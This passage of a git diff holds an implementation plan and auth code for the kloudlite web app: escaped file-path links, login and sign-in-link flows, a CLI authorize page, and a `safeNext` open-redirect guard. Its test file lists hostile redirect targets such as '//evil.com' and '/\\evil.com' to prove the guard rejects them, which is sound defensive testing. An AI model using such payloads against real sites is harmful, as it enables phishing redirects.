`/{owner}/{repo}/blob/does-not-exist` and `/{owner}/{repo}/pulls/99999` show the 404 page. + +```bash +git add "web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/pull-data.ts" web/apps/web/src/components/repo/file-view.tsx web/apps/web/src/components/repo/diff.tsx +git commit -m "Render missing pulls, blobs and commits as 404" +``` + +--- + +### Task 11: One `pathHref` for every file path in a URL + +**Files:** +- Modify: `web/apps/web/src/lib/utils.ts` (add `pathHref`) +- Modify: `web/apps/web/src/components/repo/code.tsx:187` (and the crumb links at 111, 150) +- Modify: `web/apps/web/src/components/repo/file-view.tsx:72,96` +- Modify: `web/apps/web/src/components/repo/file-editor.tsx:127` +- Modify: `web/apps/web/src/components/repo/diff-files.tsx:31` +- Modify: `web/apps/web/src/components/repo/file-search.tsx:73` +- Modify: `web/apps/web/src/app/(shell)/[owner]/[repo]/edit/[...path]/page.tsx:27,35` +- Modify: `web/apps/web/src/app/(shell)/[owner]/[repo]/edit/actions.ts:57` + +**Context:** Seven sites interpolate a file path into an href raw, so `a b.md`, `#`, `?` or `%` in a filename produce a wrong link. One helper, mirroring `filePath` in `lib/browse.ts:56` (every segment escaped, slashes kept). The spec names `lib/browse.ts` as the home, but that module is `server-only` and `file-editor.tsx`/`file-search.tsx` are client components — so it lives in `lib/utils.ts`, which both sides already import. + +**Interfaces:** +- Produces: `pathHref(path: string): string` in `@/lib/utils` — `"a b/c#d.md"` → `"a%20b/c%23d.md"`. + +- [ ] **Step 1: Add the helper to `lib/utils.ts`** + +```ts +/** A repo path as URL segments: every segment escaped, the slashes kept. The one + * way a file name becomes part of an href, so a `#` or a space in a filename is a + * file and not a fragment. Mirrors `filePath` in `lib/browse.ts`, which does the + * same for api calls and is server-only. */ +export function pathHref(path: string): string { + return path.split("/").filter(Boolean).map(encodeURIComponent).join("/"); +} +``` + +- [ ] **Step 2: Apply it at each site** + +Each file imports `pathHref` from `@/lib/utils` (several already import `cn` from there — extend that import). + +`code.tsx`: +- line 111: `` (crumbs.length > 1 ? `${base}/tree/${pathHref(crumbs.slice(0, -1).join("/"))}` : base) + q `` +- line 131: `` base={dir ? `${base}/tree/${pathHref(dir)}` : base} `` +- line 150: `` href={`${base}/tree/${pathHref(crumbs.slice(0, i + 1).join("/"))}${q}`} `` +- line 187: `` href={`${base}/${e.kind === "tree" ? "tree" : "blob"}/${pathHref(path)}${q}`} `` + +`file-view.tsx`: +- line 72: `` href={`${base}/tree/${pathHref(parts.slice(0, i + 1).join("/"))}${q}`} `` +- line 96: `` `` + +`file-editor.tsx` line 127: +```tsx + Cancel +``` + +`diff-files.tsx` line 31: +```tsx + +``` + +`file-search.tsx` line 73: +```ts + router.push(`${base}/${e.kind === "dir" ? "tree" : "blob"}/${pathHref(e.path)}`); +``` + +`edit/[...path]/page.tsx` lines 27 and 35: replace `${file}` with `${pathHref(file)}` in both `redirect(...)` calls. + +`edit/actions.ts` line 57: +```ts + redirect(`/${owner}/${repo}/blob/${pathHref(path)}?ref=${encodeURIComponent(landed)}`); +``` + +- [ ] **Step 3: Verify and commit** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. Manual: a file named `a b.txt` opens from the tree, from go-to-file, and from a diff header. + +```bash +git add web/apps/web/src/lib/utils.ts web/apps/web/src/components/repo "web/apps/web/src/app/(shell)/[owner]/[repo]/edit" +git commit -m "Escape file paths everywhere they become an href" +``` + +--- + +### Task 12: The login form only offers what works + +**Files:** +- Modify: `web/apps/web/src/app/(auth)/login/actions.ts` (whole file) +- Modify: `web/apps/web/src/components/auth/login-form.tsx` (whole file) +- Modify: `web/apps/web/src/app/(auth)/login/page.tsx` (read `?from=expired`) +- Delete: `web/apps/web/src/lib/sso.ts` + +**Context:** The SSO step renders a "Continue to {org}" button with no handler, the password step links to `/reset` (404), and the password step is shown even when `passwordSignIn` is false (the error only appears after typing one). `?from=expired` is set in eight places and read nowhere. `lib/sso.ts` exists only to feed the SSO branch and `AUTH_SSO_DOMAINS` is set in no yaml — delete it rather than hide dead code. + +**Interfaces:** +- `LoginState` loses the `sso` variant. + +- [ ] **Step 1: Rewrite `login/actions.ts`** + +```ts +"use server"; + +import { AuthError } from "next-auth"; +import { signIn, passwordSignIn } from "@/auth"; + +export type LoginState = + | { step: "email"; error?: string } + | { step: "password"; email: string; error?: string }; + +/** Step one: we have an email and nothing else. Refuse here, not after a password + * has been typed, when the deployment has no password provider at all. */ +export async function continueWithEmail( + _prev: LoginState, + formData: FormData, +): Promise { + const email = String(formData.get("email") ?? "").trim(); + + if (!/^[^@\s]+@[^@\s]+\.[^@\s]+$/.test(email)) { + return { step: "email", error: "Enter a valid email address." }; + } + if (!passwordSignIn) { + return { step: "email", error: "Password sign-in is not available here. Use a provider or a passkey above." }; + } + return { step: "password", email }; +} + +/** Step two, password path. On success `signIn` redirects, which it does by + * throwing — so only an AuthError is caught here, never the redirect. */ +export async function signInWithPassword( + _prev: LoginState, + formData: FormData, +): Promise { + const email = String(formData.get("email") ?? ""); + const password = String(formData.get("password") ?? ""); + if (password.length < 1) { + return { step: "password", email, error: "Enter your password." }; + } + if (!passwordSignIn) { + return { step: "email", error: "Password sign-in is not available here. Use a provider or a passkey above." }; + } + try { + await signIn("credentials", { email, password, redirectTo: "/" }); + } catch (error) { + if (error instanceof AuthError) { + // Deliberately does not say which half was wrong. + return { step: "password", email, error: "Incorrect email or password." }; + } + throw error; + } + return { step: "password", email }; +} +``` + +- [ ] **Step 2: Rewrite `login-form.tsx`** + +```tsx +"use client"; + +import { useActionState } from "react"; +import { Loader2 } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { AuthHeader, FieldLabel } from "@/components/auth/auth-card"; +import { continueWithEmail, signInWithPassword, type LoginState } from "@/app/(auth)/login/actions"; + +function FieldError({ children }: { children?: string }) { + if (!children) return null; + return ( +

+ {children} +

+ ); +} + +/** Owns the whole card, heading included. The heading names the step, so it + * cannot live on the page — a page-level

would sit above this one and + * still say "Sign in" while the card asks for a password. */ +export function LoginForm({ + oauth, + notice, + title = "Sign in to kloudlite", + subtitle = "Continue to your workspaces and repos.", + submitLabel = "Continue", +}: { + oauth?: React.ReactNode; + /** Why the person is here, when it was not their idea — an expired session. */ + notice?: string; + title?: string; + subtitle?: string; + submitLabel?: string; +}) { + const [state, submitEmail, emailPending] = useActionState( + continueWithEmail, + { step: "email" }, + ); + const [pwState, submitPassword, pwPending] = useActionState( + signInWithPassword, + state, + ); + + // The email step decides the route; the password step only ever follows it. + const current = pwState.step === "password" && state.step === "password" ? pwState : state; + + if (current.step === "password") { + return ( +
+ + + {/* The identity being signed in as, and the way back out of it. One row, + one baseline — not a sentence with a button wrapped inside it. */} +
+ {current.email} + + + +
+ +
+ + Password + + {current.error} + +
+
+ ); + } + + return ( +
+ {subtitle} + + {notice && ( +

+ {notice} +

+ )} + + {oauth} + +
+ Email + + {current.error} + +
+
+ ); +} +``` + +(Check `FieldLabel`'s `aside` prop in `auth-card.tsx` is still used elsewhere — `grep -rn "aside=" src` — if not, leave it; it is not this task's to remove.) + +- [ ] **Step 3: Read `?from=expired` on the login page** + +`login/page.tsx` — the component signature and body become: + +```tsx +export default async function LoginPage({ searchParams }: { searchParams: Promise<{ from?: string }> }) { + const session = await getSession(); + // A signed-in person landing here means "take me in", not "sign in again" — + // and if they have no handle yet, in means /welcome. + if (session) redirect(session.user.username ? "/" : "/welcome"); + const { from } = await searchParams; + + return ( + <> + + } + notice={from === "expired" ? "Your session expired. Sign in again to continue." : undefined} + /> + + ... +``` +(Rest of the file unchanged.) Check whether `signup/page.tsx` also renders `LoginForm`; if so it needs no change — `notice` is optional. + +- [ ] **Step 4: Delete `lib/sso.ts`** + +```bash +git rm web/apps/web/src/lib/sso.ts +``` + +- [ ] **Step 5: Verify and commit** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. Manual: with `AUTH_SHARED_PASSWORD` unset, entering an email shows the "not available" error on the email step; `/login?from=expired` shows the notice. + +```bash +git add -A web/apps/web/src/app/\(auth\) web/apps/web/src/components/auth/login-form.tsx web/apps/web/src/lib/sso.ts +git commit -m "Show only working sign-in paths and explain an expired session" +``` + +--- + +### Task 13: Destructive actions report failure (and deleting a tag asks first) + +**Files:** +- Create: `web/apps/web/src/components/app/delete-form.tsx` +- Modify: `web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/actions.ts:13-21` (`removeTag`) +- Modify: `web/apps/web/src/app/(shell)/settings/actions.ts` (`removeSshKey`, `revokeToken`) +- Modify: `web/apps/web/src/app/(auth)/passkey/actions.ts:147-153` (`removePasskey`) +- Modify: `web/apps/web/src/app/(shell)/[owner]/[repo]/settings/actions.ts:60-68` (`removeRule`) +- Modify: `web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/actions.ts:66-74` (`close`) +- Modify: call sites: `src/components/registry/image-settings.tsx:42-54`, `src/components/app/user-settings.tsx:105-110,144-149,180-185`, `src/components/app/passkeys-section.tsx:77-82`, `src/components/repo/repo-settings.tsx:92-98`, `src/components/repo/pull-actions.tsx:200-205` + +**Context:** Six actions `await api.X(...)` and return nothing, so a failed delete is silent. `destroyImage` already shows the pattern: `(prev, formData) => Promise<{ error? } | null>` driven by `useActionState`. The forms live in both server components (`user-settings.tsx`) and client ones, so one small client `DeleteForm` holds the `useActionState` and the error line; callers keep their button. The `confirm` prop is a native `window.confirm` — used for `removeTag` only, per the review. + +**Interfaces:** +- Produces: `DeleteForm({ action, fields, confirm?, className?, children })` in `@/components/app/delete-form`, with `type DeleteState = { error?: string } | null` exported from the same file. `action: (prev: DeleteState, formData: FormData) => Promise`. +- The six actions change signature to `(_prev: DeleteState, formData: FormData): Promise`. (`removeRule` keeps returning `SettingsState`, which is structurally compatible.) + +- [ ] **Step 1: Create `components/app/delete-form.tsx`** + +```tsx +"use client"; + +import { useActionState } from "react"; + +export type DeleteState = { error?: string } | null; + +/** A one-button form that can fail. The six destructive actions used to return + * nothing, so a refused delete looked like a click that did not register. This + * holds the action state so a server component can still render the row. + * + * `confirm` is the browser's own dialog: a delete that cannot be undone gets one + * question, and a custom modal would be a component for one sentence. */ +export function DeleteForm({ + action, + fields, + confirm, + className, + children, +}: { + action: (prev: DeleteState, formData: FormData) => Promise; + /** Hidden inputs: what the action is about has to travel with the request. */ + fields: Record; + confirm?: string; + className?: string; + children: React.ReactNode; +}) { + const [state, act, pending] = useActionState(action, null); + return ( +
{ + if (confirm && !window.confirm(confirm)) e.preventDefault(); + }} + className={className} + > + {Object.entries(fields).map(([name, value]) => ( + + ))} + {state?.error && ( +

{state.error}

+ )} + {/* `contents` so the fieldset adds no box; `disabled` so the button goes + inert while the request is out without each caller wiring `pending`. */} +
{children}
+
+ ); +} +``` + +- [ ] **Step 2: Change the six actions** + +`registries/[image]/settings/actions.ts` — `removeTag` becomes: +```ts +export async function removeTag(_prev: SettingsState, formData: FormData): Promise { + const owner = String(formData.get("owner") ?? ""); + const image = String(formData.get("image") ?? ""); + const tag = String(formData.get("tag") ?? ""); + if (!tag) return { error: "No tag named." }; + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + const r = await deleteImageTag(token, owner, image, tag); + if (!r.ok) return { error: r.message || "Could not delete the tag." }; + revalidatePath(`/${owner}/registries/${image}`, "layout"); + return null; +} +``` + +`(shell)/settings/actions.ts` — add `export type DeleteState = { error?: string } | null;` after `AddKeyState`, then: +```ts +export async function removeSshKey(_prev: DeleteState, formData: FormData): Promise { + const id = String(formData.get("id") ?? ""); + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + if (!id) return { error: "No key named." }; + const r = await api.removeKey(token, id); + if (!r.ok) return { error: r.message || "Could not remove the key." }; + revalidatePath("/settings"); + return null; +} +``` +and +```ts +export async function revokeToken(_prev: DeleteState, formData: FormData): Promise { + const id = String(formData.get("id") ?? ""); + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + if (!id) return { error: "No token named." }; + const r = await api.revokeToken(token, id); + if (!r.ok) return { error: r.message || "Could not revoke the token." }; + revalidatePath("/settings"); + return null; +} +``` + +`(auth)/passkey/actions.ts` — `removePasskey` becomes (add `import type { DeleteState } from "@/components/app/delete-form";` — a type import from a client module is erased and fine in a `"use server"` file): +```ts +export async function removePasskey(_prev: DeleteState, formData: FormData): Promise { + const id = String(formData.get("id") ?? ""); + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + if (!id) return { error: "No passkey named." }; + const r = await api.removePasskey(token, id); + if (!r.ok) return { error: r.message || "Could not remove the passkey." }; + revalidatePath("/settings"); + return null; +} +``` + +`[repo]/settings/actions.ts` — `removeRule`: +```ts +export async function removeRule(_prev: SettingsState, formData: FormData): Promise { + const owner = String(formData.get("owner") ?? ""); + const repo = String(formData.get("repo") ?? ""); + const pattern = String(formData.get("pattern") ?? ""); + if (!pattern) return { error: "No rule named." }; + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + const r = await api.setProtection(token, owner, repo, { pattern, remove: true }); + if (!r.ok) return { error: r.message || "Could not remove the rule." }; + revalidatePath(`/${owner}/${repo}/settings`); + return null; +} +``` + +`pulls/actions.ts` — `close` (the file's `PullState` is `{ error?: string } | null`, already the right shape): +```ts +export async function close(_prev: PullState, formData: FormData): Promise { + const owner = String(formData.get("owner") ?? ""); + const repo = String(formData.get("repo") ?? ""); + const number = Number(formData.get("number")); + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + const r = await api.closePull(token, owner, repo, number); + if (!r.ok) return { error: r.message || "Could not close the change." }; + revalidatePath(`/${owner}/${repo}/pulls/${number}`); + return null; +} +``` + +- [ ] **Step 3: Switch the call sites to `DeleteForm`** + +Each file imports `DeleteForm` from `@/components/app/delete-form`. + +`image-settings.tsx` lines 42–54: +```tsx + + + +``` +(`Which` is still used by `Danger`; leave it.) + +`user-settings.tsx` — both `
…
` blocks (lines 105–110 and 144–149) become: +```tsx + + + +``` +and the token block (lines 180–185): +```tsx + + + +``` + +`passkeys-section.tsx` lines 77–82: +```tsx + + + +``` + +`repo-settings.tsx` lines 92–98: +```tsx + + + +``` + +`pull-actions.tsx` lines 200–205: +```tsx + + + +``` + +- [ ] **Step 4: Verify and commit** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. Manual: delete a tag → browser confirm appears; with the api down, the row shows the error text instead of nothing. + +```bash +git add -A web/apps/web/src +git commit -m "Report failures from destructive actions and confirm tag deletion" +``` + +--- + +### Task 14: No button inside a link in the image list + +**Files:** +- Modify: `web/apps/web/src/components/app/image-list.tsx:65-85` + +**Context:** `` (a ` + +``` + +`verified-badge.tsx` lines 21–32 — change the `` to ``, keeping the className. A ` +

+ + ); +} diff --git a/web/apps/web/src/app/(auth)/cli/authorize/page.tsx b/web/apps/web/src/app/(auth)/cli/authorize/page.tsx new file mode 100644 index 00000000..789bc29c --- /dev/null +++ b/web/apps/web/src/app/(auth)/cli/authorize/page.tsx @@ -0,0 +1,63 @@ +import type { Metadata } from "next"; +import { redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import * as api from "@/lib/api"; +import { AuthCard } from "@/components/auth/auth-card"; +import { Approve } from "./approve"; + +export const metadata: Metadata = { title: "Authorize the CLI" }; + +/** Where `kl login` sends the browser. + * + * The code arrives prefilled in the URL, so "the code matches my terminal" is not a check the + * person makes — the link made it for them. The DEVICE is: it is read here, server-side, from + * the code itself, and a code with no device behind it (unknown, expired, already approved) + * gets an explanation and NO Approve button rather than a one-click approval of something + * unnamed. */ +export default async function CliAuthorizePage({ + searchParams, +}: { + searchParams: Promise<{ code?: string }>; +}) { + const { code } = await searchParams; + const session = await getSession(); + // Signed in as the person the token will belong to is the entire point, so a signed-out + // caller comes back HERE after signing in rather than to the home page. + if (!session) redirect(`/login?next=${encodeURIComponent(`/cli/authorize?code=${code ?? ""}`)}`); + if (!session.user.username) redirect("/welcome"); + const token = await apiToken(); + if (!token) redirect("/login?from=expired"); + + // The person types it; case and the dash are theirs to get wrong, and the api uppercases too. + const clean = (code ?? "").trim().toUpperCase(); + const pending = clean ? await api.pendingCliCode(token, clean) : null; + const device = pending?.ok ? pending.value.device : null; + + return ( + +

+ {device ? <>Approve CLI login from {device}? : "Approve CLI login"} +

+ {device ? ( + + ) : ( +

+ {clean ? ( + <> + This login is no longer waiting — it expired, was already approved, or never + existed. Run kl login again and open + the link it prints. + + ) : ( + <> + This link is missing its code. Run{" "} + kl login again and open the link it + prints. + + )} +

+ )} + + ); +} diff --git a/web/apps/web/src/app/(auth)/error.tsx b/web/apps/web/src/app/(auth)/error.tsx new file mode 100644 index 00000000..0f6ac524 --- /dev/null +++ b/web/apps/web/src/app/(auth)/error.tsx @@ -0,0 +1,33 @@ +"use client"; + +import { useEffect } from "react"; +import { Button } from "@/components/ui/button"; + +/** What sign-in shows when it threw. Someone here is mid-sign-in and has no idea + * what a digest is, so the wording says what to do — try again — and the layout + * already supplies the centred column. Client component by Next's rule, not by + * choice. */ +export default function AuthError({ error, reset }: { error: Error & { digest?: string }; reset: () => void }) { + // The only place the real error goes. An auth error's message can carry an + // address, a provider response, a callback URL — none of it belongs on screen. + useEffect(() => console.error(error), [error]); + + return ( +
+

+ Something went wrong +

+

We could not sign you in.

+

+ Nothing about your account changed. Try again. +

+ {/* Enough to find this exact failure in the logs, and nothing more. */} + {error.digest && ( +

Reference {error.digest}

+ )} + +
+ ); +} diff --git a/web/apps/web/src/app/(auth)/login/actions.ts b/web/apps/web/src/app/(auth)/login/actions.ts index 6545453f..e6fe7ee9 100644 --- a/web/apps/web/src/app/(auth)/login/actions.ts +++ b/web/apps/web/src/app/(auth)/login/actions.ts @@ -1,31 +1,45 @@ "use server"; import { AuthError } from "next-auth"; -import { signIn, passwordSignIn } from "@/auth"; -import { routeForEmail } from "@/lib/sso"; +import { signIn, signOut, passwordSignIn, emailLinkSignIn } from "@/auth"; +import { requestSignInLink } from "@/lib/api"; +import { sendSignInLink } from "@/lib/mail"; +import { safeNext } from "./destination"; export type LoginState = | { step: "email"; error?: string } | { step: "password"; email: string; error?: string } - | { step: "sso"; email: string; org: string; provider: string }; + /** A link went out; the page now only tells them where to look. */ + | { step: "sent"; email: string }; -/** Step one: we have an email and nothing else. Decide where it goes. */ +/** Step one: we have an email and nothing else. The preview password, when a deployment has + * one, takes precedence — it exists for environments with no mail. Otherwise a sign-in link + * goes out, and the first click on it IS the sign-up: the api records the person then. */ export async function continueWithEmail( _prev: LoginState, formData: FormData, ): Promise { - const email = String(formData.get("email") ?? "").trim(); + const email = String(formData.get("email") ?? "").trim().toLowerCase(); if (!/^[^@\s]+@[^@\s]+\.[^@\s]+$/.test(email)) { return { step: "email", error: "Enter a valid email address." }; } - - const route = routeForEmail(email); - if (route.kind === "sso") { - // Real implementation redirects to the IdP here. - return { step: "sso", email, org: route.org, provider: route.provider }; + if (passwordSignIn) return { step: "password", email }; + if (!emailLinkSignIn) { + return { step: "email", error: "Email sign-in is not available here. Use a provider or a passkey above." }; } - return { step: "password", email }; + const r = await requestSignInLink(email); + if (!r.ok) return { step: "email", error: "Could not send a sign-in link. Try again." }; + const base = (process.env.AUTH_URL ?? "").replace(/\/$/, ""); + // The link leaves this browser, so `next` rides in the URL rather than in any state here — + // that is what makes the mail work when it is opened on the phone instead. + const next = safeNext(String(formData.get("next") ?? "")); + const onward = next ? `?next=${encodeURIComponent(next)}` : ""; + const mail = await sendSignInLink(r.value.email, `${base}/verify/${r.value.token}${onward}`); + // Deliberately the same answer whether or not the address exists anywhere: this page must + // not become a way to find out who has an account. + if (!mail.sent) return { step: "email", error: "Could not send a sign-in link. Try again." }; + return { step: "sent", email }; } /** Step two, password path. On success `signIn` redirects, which it does by @@ -40,10 +54,10 @@ export async function signInWithPassword( return { step: "password", email, error: "Enter your password." }; } if (!passwordSignIn) { - return { step: "password", email, error: "Password sign-in is not available here. Use a provider above." }; + return { step: "email", error: "Password sign-in is not available here. Use a provider or a passkey above." }; } try { - await signIn("credentials", { email, password, redirectTo: "/" }); + await signIn("credentials", { email, password, redirectTo: safeNext(String(formData.get("next") ?? "")) ?? "/" }); } catch (error) { if (error instanceof AuthError) { // Deliberately does not say which half was wrong. @@ -53,3 +67,10 @@ export async function signInWithPassword( } return { step: "password", email }; } + +/** The way out of a session whose api token is dead. Deliberately an action and + * not something the page does while rendering: signing out is a side effect, and + * a GET that destroys the session fires on every prefetch and every refresh. */ +export async function signOutExpired() { + await signOut({ redirectTo: "/login" }); +} diff --git a/web/apps/web/src/app/(auth)/login/destination.test.ts b/web/apps/web/src/app/(auth)/login/destination.test.ts new file mode 100644 index 00000000..f3e2de43 --- /dev/null +++ b/web/apps/web/src/app/(auth)/login/destination.test.ts @@ -0,0 +1,60 @@ +import { expect, test } from "bun:test"; +import { loginDestination, safeNext } from "./destination"; + +test("signed out stays on the form", () => { + expect(loginDestination({ hasSession: false, hasToken: false })).toBeNull(); +}); + +test("signed in with a token goes home", () => { + expect(loginDestination({ hasSession: true, hasToken: true, username: "ann" })).toBe("/"); +}); + +test("no handle goes to welcome", () => { + expect(loginDestination({ hasSession: true, hasToken: true })).toBe("/welcome"); +}); + +test("signed in but tokenless stays, instead of bouncing off / forever", () => { + expect(loginDestination({ hasSession: true, hasToken: false, username: "ann" })).toBeNull(); +}); + +test("from=expired stays even with a token", () => { + expect( + loginDestination({ hasSession: true, hasToken: true, username: "ann", from: "expired" }), + ).toBeNull(); +}); + +test("next is honoured once there is a token", () => { + expect( + loginDestination({ hasSession: true, hasToken: true, username: "ann", next: "/cli/authorize?code=AB-CD" }), + ).toBe("/cli/authorize?code=AB-CD"); +}); + +test("from=expired still wins over next", () => { + expect( + loginDestination({ hasSession: true, hasToken: true, username: "ann", from: "expired", next: "/cli/authorize" }), + ).toBeNull(); +}); + +test("no handle goes to welcome even with a next", () => { + expect(loginDestination({ hasSession: true, hasToken: true, next: "/cli/authorize" })).toBe("/welcome"); +}); + +test("an off-site next is refused, not followed", () => { + for (const next of ["//evil.com", "https://evil.com", "http://evil.com/x", "/\\evil.com", "evil.com", ""]) { + expect(loginDestination({ hasSession: true, hasToken: true, username: "ann", next })).toBe("/"); + expect(safeNext(next)).toBeUndefined(); + } +}); + +test("safeNext keeps a relative path whole", () => { + expect(safeNext("/cli/authorize?code=AB-CD")).toBe("/cli/authorize?code=AB-CD"); +}); + +/** The verify page and its action both put the emailed `?next=` through here — the link is + * attacker-shaped input (anyone can request one), so every off-site form must fall to `/`. */ +test("an emailed next only ever lands on this origin", () => { + expect(safeNext("/acme/web") ?? "/").toBe("/acme/web"); + for (const off of ["https://evil.com", "//evil.com", "/\\evil.com", "", undefined]) { + expect(safeNext(off) ?? "/").toBe("/"); + } +}); diff --git a/web/apps/web/src/app/(auth)/login/destination.ts b/web/apps/web/src/app/(auth)/login/destination.ts new file mode 100644 index 00000000..30fb1aaa --- /dev/null +++ b/web/apps/web/src/app/(auth)/login/destination.ts @@ -0,0 +1,41 @@ +/** A `?next=` worth honouring, or `undefined`. + * + * Only a same-origin RELATIVE path. `//evil.com` is a protocol-relative URL that + * browsers follow off-site, and it starts with `/` — so "starts with a slash" alone + * is the open redirect, not the guard against it. Everything that reaches a + * `redirectTo` goes through here. */ +export function safeNext(next?: string): string | undefined { + if (!next || !next.startsWith("/") || next.startsWith("//")) return undefined; + // A backslash is a slash to some parsers; `/\evil.com` has escaped the origin in + // browsers that normalise it before the redirect. + if (next.startsWith("/\\")) return undefined; + return next; +} + +/** Where a request to /login actually belongs. + * + * Pure, and tested, because every arm below has been a redirect loop: /login + * bounced any signed-in caller to /, while the pages behind / bounce a caller + * with no usable api token back to /login. "Signed in" is not the condition — + * "signed in AND holding a token the api will accept" is. + * + * `null` means: stay on /login and show the form. */ +export function loginDestination(opts: { + hasSession: boolean; + hasToken: boolean; + username?: string; + from?: string; + /** Where the caller was headed when they were sent here. */ + next?: string; +}): string | null { + const { hasSession, hasToken, username, from } = opts; + const next = safeNext(opts.next); + if (!hasSession) return null; + // The producers of `from=expired` send a caller here precisely because their + // token was refused. Bouncing them onward is the loop. + if (from === "expired") return null; + // No handle yet: /welcome is the one page that renders without a token. `next` waits — + // it is reached from /welcome's own onward redirect, not skipped over it. + if (!username) return "/welcome"; + return hasToken ? (next ?? "/") : null; +} diff --git a/web/apps/web/src/app/(auth)/login/page.tsx b/web/apps/web/src/app/(auth)/login/page.tsx index 6a8518e0..3c9883bc 100644 --- a/web/apps/web/src/app/(auth)/login/page.tsx +++ b/web/apps/web/src/app/(auth)/login/page.tsx @@ -2,23 +2,59 @@ import Link from "next/link"; import type { Metadata } from "next"; import { redirect } from "next/navigation"; import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; import { LoginForm } from "@/components/auth/login-form"; import { AuthProviders } from "@/components/auth/auth-providers"; -import { DevBypass } from "@/components/auth/dev-bypass"; import { AuthCard, AuthFootnote } from "@/components/auth/auth-card"; +import { Button } from "@/components/ui/button"; +import { loginDestination, safeNext } from "./destination"; +import { signOutExpired } from "./actions"; export const metadata: Metadata = { title: "Sign in" }; -export default async function LoginPage() { +export default async function LoginPage({ searchParams }: { searchParams: Promise<{ from?: string; next?: string }> }) { + // Read BEFORE any redirect decision: `from` is what says this caller was sent + // here by a refused token, and sending them onward is the loop. + const { from, next: raw } = await searchParams; + // Validated once, here: every place below hands it to a redirect. + const next = safeNext(raw); const session = await getSession(); - // A signed-in person landing here means "take me in", not "sign in again" — - // and if they have no handle yet, in means /welcome. - if (session) redirect(session.user.username ? "/" : "/welcome"); + const token = session ? await apiToken() : undefined; + + const to = loginDestination({ + hasSession: Boolean(session), + hasToken: Boolean(token), + username: session?.user.username, + from, + next, + }); + if (to) redirect(to); + + const notice = + from === "expired" + ? "Your session expired. Sign in again to continue." + : from === "link" + ? "That sign-in link is no longer valid — links work once and expire after 15 minutes. Ask for a new one and use the most recent email." + : undefined; return ( <> - } /> + } + notice={notice} + next={next} + /> + {session && ( + /* Still holding a session cookie, but the api will not take its token. + Signing back in on top of it re-mints one; this is the explicit way + to clear it first, and the only thing that ends the session. */ +
+ +
+ )} New to kloudlite?{" "} @@ -26,7 +62,6 @@ export default async function LoginPage() { Create an account - ); } diff --git a/web/apps/web/src/app/(auth)/passkey/actions.ts b/web/apps/web/src/app/(auth)/passkey/actions.ts index dc229951..c95409bd 100644 --- a/web/apps/web/src/app/(auth)/passkey/actions.ts +++ b/web/apps/web/src/app/(auth)/passkey/actions.ts @@ -16,7 +16,9 @@ import { revalidatePath } from "next/cache"; import { getSession } from "@/lib/session"; import { apiToken } from "@/lib/api-token"; import * as api from "@/lib/api"; -import { relyingParty, rememberChallenge, signAssertion, takeChallenge } from "@/lib/passkey"; +import type { DeleteState } from "@/components/app/delete-form"; +import { relyingParty, rememberChallenge, takeChallenge } from "@/lib/passkey"; +import { signAssertion } from "@/lib/assertion"; /* ── signing in ─────────────────────────────────────────────────────────── */ @@ -24,7 +26,7 @@ import { relyingParty, rememberChallenge, signAssertion, takeChallenge } from "@ * offers whatever discoverable credential it holds for this site, so the person * never types an address — which is the whole appeal. */ export async function beginPasskeyLogin(): Promise { - const { rpID } = relyingParty(); + const { rpID } = await relyingParty(); const options = await generateAuthenticationOptions({ rpID, userVerification: "preferred" }); await rememberChallenge(options.challenge); return options; @@ -46,7 +48,7 @@ export async function finishPasskeyLogin( // must not learn which passkeys exist here. if (!stored.ok) return { error: "That passkey was not recognised." }; - const { rpID, origin } = relyingParty(); + const { rpID, origin } = await relyingParty(); let verification; try { verification = await verifyAuthenticationResponse({ @@ -84,7 +86,7 @@ export async function beginPasskeyRegistration(): Promise< if (!token) return { error: "Your session has expired. Sign in again." }; const existing = await api.listPasskeys(token); - const { rpID, rpName } = relyingParty(); + const { rpID, rpName } = await relyingParty(); const options = await generateRegistrationOptions({ rpID, rpName, @@ -114,7 +116,7 @@ export async function finishPasskeyRegistration( const expectedChallenge = await takeChallenge(); if (!expectedChallenge) return { error: "That took too long. Try again." }; - const { rpID, origin } = relyingParty(); + const { rpID, origin } = await relyingParty(); let verification; try { verification = await verifyRegistrationResponse({ @@ -144,10 +146,13 @@ export async function finishPasskeyRegistration( return { ok: true }; } -export async function removePasskey(formData: FormData) { +export async function removePasskey(_prev: DeleteState, formData: FormData): Promise { const id = String(formData.get("id") ?? ""); const token = await apiToken(); - if (!token || !id) return; - await api.removePasskey(token, id); + if (!token) return { error: "Your session has expired. Sign in again." }; + if (!id) return { error: "No passkey named." }; + const r = await api.removePasskey(token, id); + if (!r.ok) return { error: r.message || "Could not remove the passkey." }; revalidatePath("/settings"); + return null; } diff --git a/web/apps/web/src/app/(auth)/verify/[token]/actions.ts b/web/apps/web/src/app/(auth)/verify/[token]/actions.ts new file mode 100644 index 00000000..2748504d --- /dev/null +++ b/web/apps/web/src/app/(auth)/verify/[token]/actions.ts @@ -0,0 +1,29 @@ +"use server"; + +import { redirect } from "next/navigation"; +import { AuthError } from "next-auth"; +import { signIn } from "@/auth"; +import { redeemSignInLink } from "@/lib/api"; +import { signAssertion } from "@/lib/assertion"; +import { safeNext } from "@/app/(auth)/login/destination"; + +/** Spends the emailed token and signs the browser in. A Server Action, and so a POST: the + * link itself (a GET) must not do this, or anyone who can make a browser open a URL can sign + * that browser into an account of their choosing. The token stays single-use — the api + * enforces that, this only adds the button press in front of it. + * + * `signIn` writes the session cookie, which Next allows only from a Server Action or a Route + * Handler, and redirects by throwing — so only an AuthError is caught. */ +export async function redeemLink(formData: FormData) { + const token = String(formData.get("token") ?? ""); + // Re-validated here rather than trusted: this is a form field, so 